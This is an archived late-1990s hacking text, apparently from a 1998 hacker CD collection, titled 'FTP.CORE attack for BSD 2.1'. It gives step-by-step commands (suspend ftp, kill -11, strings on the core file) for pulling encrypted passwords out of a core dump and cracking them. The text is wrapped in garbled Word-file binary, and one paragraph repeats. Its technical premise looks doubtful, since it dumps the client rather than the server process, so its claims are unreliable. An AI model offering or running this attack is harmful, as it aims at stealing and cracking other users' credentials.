home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / ftpcore.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  9.0 KB  |  29 lines
  1. ╨╧αí▒ ß>■     ■                                                                                                                                                                                                                                                                                                                                                                                                                                                   ²   ■   ■   ■   ■       
  3.                                                                                                                                                                                                                                                                                                                                                                                                                                                             Root Entry            └F@pqwtσ║ÇWordDocument             CompObj            ^            ■                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           ∙ç£░╤τ°jkmno¥¼╩∩ 167[\∙≤φτß█╒╧╔─┐║╡░½ªí£ùÆìêâ≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡\`éº─Γπ                  /    0    4    5    \    ]    v    z    ▒    ╦    ╓    ╫    i
  4. j
  5. ·⌡≡δµß▄╫╥═╚├╛╣┤»¬Ñá¢ûæîç≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡j
  6. ε
  7. ∩
  8. ⁿ
  9. ²
  10. ■
  11. ·⌡≡δµ≡≡≡≡≡∙■
  12. ∙■
  13.         /K @±  Normala    "A@≥ í"Default Paragraph Font╨ @■ 
  14.         └FMicrosoft Word 6.0 Document
  15. MSWordDoc⌠9▓qo and should be able to pick it clean of all passwords and other information you might be interested in.
  16.  
  17. This has only been tested, and worked on BSD 2.1 so far, if it works on other systems, feel free to modify this text to reflect it.
  18.  
  19. Bronc Buster
  20.  
  21.  
  22. ▄Ñe#└    ∙■
  23. ,l,l
  25. 
  26. ¬O(∞ÿTεO MS Sans Serif SymbolTimes New RomanTimes New RomanFTP.CORE attack for BSD 2.1
  27. -----------------------------------------------------------------------------------------------------------------
  28. by The Bronc Buster 
  29. bbuster@succeed.net
  30. http://www2.succeed.net/~bbuster
  31. Made for The Infected
  32. www.infected.com
  33. -----------------------------------------------------------------------------------------------------------------
  34.  
  35. This is a relativly simple attack, and can be done as ANY LEGIT user on a BSD 2.1 system. The focus of this attack is to get the ftp daemond to produce a core dump. When it dumps, all the information it has used up to the point it dumps will be stored in a file, in the the directory you are in, called "ftp.core". This file will contain shell and enviornment varibles, paths, and other misc stuff. What we will be looking for is the unshadowed passwd file. As this process has to access the passwd file to make sure you're legit, it stores all the information proir to your user in a buffer, and it will have to unshadow , or access the shadowed file, to do this. After you get the encrypted passwords, go find a copy of Cracker Jack and get to work. Ok, how to do it:
  36.  
  37.  
  38. #ftp foobar.com
  39. Welcom to foobar.com ftp site
  40. blah blah blah
  41. please enter login name> evil
  42. that user requires a password> evil2
  43.  User evil loged in welcome to foobar.com!
  44. Remote set to type BIN
  45. ftp>
  46.  
  47. (now hit ^Z to suspend the process)
  48.  
  49. #ps
  50.   PID  TT  STAT      TIME COMMAND
  51.  9526  p0  Ss     0:00.12 -csh (csh)
  52.  9539  p0  R+     0:00.02 ps
  53. 1000   p0  Ss     0:00.22 ftp
  54.  
  55. (get the PID number to the ftp process)
  56.  
  57. #kill -11 1000
  58.  
  59. (kill the process)
  60.  
  61. #fg
  62.  
  63. (bring the ftp back to the foreground)
  64.  
  65. Process Killed Core Dump
  66. #ls
  67. home          mail         public_html        ftp.core
  68. #strings ftp.core  > test
  69. #pico test
  70.  
  71. From this point you have the .core in pico and should be able to pick it clean of all passwords and other information you might be interested in.
  72.  
  73. This has only been tested, and worked on BSD 2.1 so far, if it works on other systems, feel free to modify this text to reflect it.
  74.  
  75. Bronc Buster
  76.  
  77.  
  78. ∙å碣»░╨╤µτ≈°ijklmno~£¥½¼╔╩ε∩ 01567Z[\_`ü骺├─ßΓπ
  79.                    ²√∙≈⌡≤±∩φδΘτσπß▀▌█┘╫╒╙╤╧═╦╔╟┼├┴┐╜╗╣╖╡│▒»¡½⌐ºÑú탥¢ÖùòôæÅ]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]8             .    /    0    3    4    5    [    \    ]    u    v    y    z    ░    ▒    ╩    ╦    ╒    ╓    ╫    h
  80. i
  81. j
  82. φ
  83. ε
  84. ∩
  85. √
  86. ⁿ
  87. ²
  88. ■
  89. ²√∙≈⌡≤±∩φδΘτσπß▀▌█┘╫╒╙╤╧═╦╔╟┼├┴┐]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]